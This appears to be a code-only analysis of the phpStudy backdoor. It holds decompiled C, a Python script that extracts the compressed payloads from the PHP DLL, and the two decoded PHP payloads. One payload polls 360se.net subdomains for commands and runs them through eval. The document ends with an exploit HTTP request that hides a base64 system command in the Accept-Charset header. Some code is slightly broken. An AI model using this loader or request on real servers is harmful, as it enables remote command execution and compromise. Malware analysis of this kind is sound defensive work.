phpStudy后门简要分析

v11 = asc_1000D028;
    while ( 1 )
    {
      if ( *(_DWORD *)v11 == 39 )
      {
        v8[v10] = 92;
        v41[v10 + 1] = *v9;
        v10 += 2;
        v11 += 8;
      }
      else
      {
        v8[v10++] = *v9;
        v11 += 4;
      }
      v9 += 4;
      if ( (signed int)v9 >= (signed int)&unk_1000D66C )
        break;
      v8 = v41;
    }

# -*- coding:utf-8 -*-
   # !/usr/bin/env python
   import os, sys, string, shutil, re
   import base64
   import struct
   import pefile
   import ctypes
   import zlib
   # import put_family_c2
   def hexdump(src, length=16):
       FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
       lines = []
       for c in xrange(0, len(src), length):
           chars = src[c:c + length]
           hex = ' '.join(["%02x" % ord(x) for x in chars])
           printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.')
                                for x in chars])
           lines.append("%04x  %-*s  %s\n" % (c, length * 3, hex, printable))
       return ''.join(lines)
   def descrypt(data):
       try:
           # data = base64.encodestring(data)
           # print(hexdump(data))
           num = 0
           data = zlib.decompress(data)
           # return result
           return (True, result)
       except Exception, e:
           print(e)
           return (False, "")
   def GetSectionData(pe, Section):
       try:
           ep = Section.VirtualAddress
           ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase
           data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]
           # print(hexdump(data))
           return data
       except Exception, e:
           return None
   def GetSecsions(PE):
       try:
           for section in PE.sections:
               # print(hexdump(section.Name))
               if (section.Name.replace('\x00', '') == '.data'):
                   data = GetSectionData(PE, section)
                   # print(hexdump(data))
                   return (True, data)
           return (False, "")
       except Exception, e:
           return (False, "")
   def get_encodedata(filename):
       pe = pefile.PE(filename)
       (ret, data) = GetSecsions(pe)
       if ret:
           flag = "gzuncompress"
           offset = data.find(flag)
           data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "")
           decodedata_1 = zlib.decompress(data[:0x191])
           print(hexdump(data[0x191:]))
           decodedata_2 = zlib.decompress(data[0x191:])
           with open("decode_1.txt", "w") as hwrite:
               hwrite.write(decodedata_1)
               hwrite.close
           with open("decode_2.txt", "w") as hwrite:
               hwrite.write(decodedata_2)
               hwrite.close
   def main(path):
       c2s = []
       domains = []
       file_list = os.listdir(path)
       for f in file_list:
           print f
           file_path = os.path.join(path, f)
           get_encodedata(file_path)
   if __name__ == "__main__":
       # os.getcwd()
       path = "php5.4.45"
       main(path)

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
    $out .= "Host: {$h}\r\n";
    $out .= "Accept-Encoding: compress,gzip\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    fclose($fp);
}

@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
    $result = "";
  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
  if( !$handle ){
    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
    if( !$handle ){
        return "err";
    }
  }
  fwrite($handle, $sendMsg."\n");
    while(!feof($handle)){
        stream_set_timeout($handle, 2);
        $result .= fread($handle, 1024);
        $info = stream_get_meta_data($handle);
        if ($info['timed_out']) {
          break;
        }
     }
  fclose($handle);
  return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
    $n = false;
    foreach ($ds as $d){
        $b = false;
        foreach ($ps as $p){
            $result = tcpGet($i,$d.".360se.net",$p);
            if ($result != "err"){
                $b =true;
                break;
            }
        }
        if ($b)break;
    }
    $info = explode("<^>",$result);
    if (count($info)==4){
        if (strpos($info[3],"/*Onemore*/") !== false){
            $info[3] = str_replace("/*Onemore*/","",$info[3]);
            $n=true;
        }
        @eval(base64_decode($info[3]));
    }
}while($n);

GET / /1.1
   Host: 127.0.0.1
   Upgrade-Insecure-Requests: 1
   User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding:gzip,deflate
Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close